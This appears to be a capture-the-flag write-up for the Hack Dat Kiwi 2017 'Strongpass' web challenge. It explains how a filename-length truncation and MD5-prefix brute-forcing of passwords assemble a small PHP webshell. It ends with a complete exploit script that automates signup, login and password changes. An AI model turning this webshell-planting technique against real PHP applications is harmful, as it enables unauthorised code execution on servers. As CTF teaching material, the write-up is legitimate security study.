The first one is pretty simple. The line that enforces the length of the [username] file to be less than 255, is actually vulnerable. The OS forces that limit itself and fails to create the file if it's longer. This line, enables us to use "x"*251+".php" to form a 255 long string ending in ".php", and the substr() call gets rid of ".pss", leaving us with a ".php" file on the server!

Now off to creating our shell with passwords. It is important to understand limits of brute-forcing MD5. For each byte in our desired string, we have 256 (28 cases to brute force. We can feasibly brute-force 3 to 4 bytes. So our shell has to have 3 or 4 bytes total.

The shorterst PHP code is <?= and that's 3 characters and it just starts PHP! So we can't hope to achieve our thing in 3, 4 or 5 characters. However, we can break down our shell into lines. We want lines as short as possible, preferrably two bytes each line:

<?
@
$x
=
f.
l.
a.
g;
$x
()
;

Nice! So why two bytes on each line? Because we need to end each line in a comment block to prevent the rest of it from causing syntax error (each MD5 is 16 bytes long). We need to add # to the end of each line above, and then find passwords that have MD5s that have these as their first 3 characters! And then we need to create a user to get a shell file, and change the passwords in reverse order of our list to put the shellcode in that file. Then just visit the file and voila!

Note that you need to find two different passwords that result in "$x" in their beginning of MD5, because you can't reuse a pass. The following is the full exploit:

<?php
/**
 * Hack Dat Kiwi 2017 Strongpass Exploit
 * @author Kiwi Master
 */
function generate_code()
{
	echo "This will take a few minutes...",PHP_EOL;
	# Llines longer than 2 characters will be very slow
	$code='
<?
@
$x
=
f.
l.
a.
g;
$x
()
;
';
	$pieces=array_map(function ($x) {return $x.="#";}, array_filter(explode("\n",$code)));
	$result=[];
	$out=[];
	foreach($pieces as $piece)
	{
		echo "Trying to find a unique match for piece '{$piece}'...",PHP_EOL;
		$l=strlen($piece);
		for ($i=10000000;;++$i) # At least 8 length
		{
			if ($i%1000000==0) # See progress
			{
				echo number_format($i),PHP_EOL;
				flush();
			}
			$t=hex2bin(md5($i));
			if (strpos($t,chr(10))!==false) continue; // Shouldn't have newlines
			if (strpos($t,chr(11))!==false) continue; // Shouldn't have newlines
			if (strpos($t,chr(13))!==false) continue; // Shouldn't have newlines
			if (substr($t,0,$l)===$piece and !isset($result[$i]))
				break;
		}
		echo "Found a match for '{$piece}': {$i}",PHP_EOL;
		$result[$i]=$piece; # Unique passwords for each piece
		$out[]=$i;
	}
	var_export($out);
	return $out;
}
$passwords=null;
# This should take 1-5 minutes. once you get the result, you can replace it here.
if ($passwords===null) 
	$passwords=generate_code();
function req($url,$postparams=[])
{
	$opts=[
		CURLOPT_COOKIEJAR => 'kiwimaster.cookie',
		CURLOPT_COOKIEFILE => 'kiwimaster.cookie',
    	CURLOPT_RETURNTRANSFER => 1,
    	CURLOPT_URL => $url,
    	CURLOPT_USERAGENT => 'Kiwi Master'
	];
	if ($postparams)
	{
		$opts[CURLOPT_POST]=1;
		$opts[CURLOPT_POSTFIELDS]=http_build_query($postparams);
	}
	$curl = curl_init();
	curl_setopt_array($curl, $opts);
	$res = curl_exec($curl);
	curl_close($curl);
	return $res;
}

$challenge_url="http://.2017.hack.dat.kiwi/web/strongpass/";

$username=str_repeat("X", 255-4).".php"; # Replace X if you've exhausted it
$oldpass='1';

echo "Signing up...",PHP_EOL;
$res=req($challenge_url."/signup.php",['username'=>$username,"password"=>$oldpass]);
assert(strpos($res, "failed")===false);

echo "Logging in...",PHP_EOL;
$res=req($challenge_url,['username'=>$username,'password'=>$oldpass]);
assert(strpos($res, "failed")===false);

echo "Creating shell...\n";
foreach (array_reverse($passwords) as $pass)
{
	$res=req($challenge_url."/change.php",['oldpass'=>$oldpass,'newpass'=>$pass]);
	assert(strpos($res, "failed")===false);
	$oldpass=$pass;
}

echo "All done. Go to the following URL and grab the flag:\n{$challenge_url}/history/{$username}\n";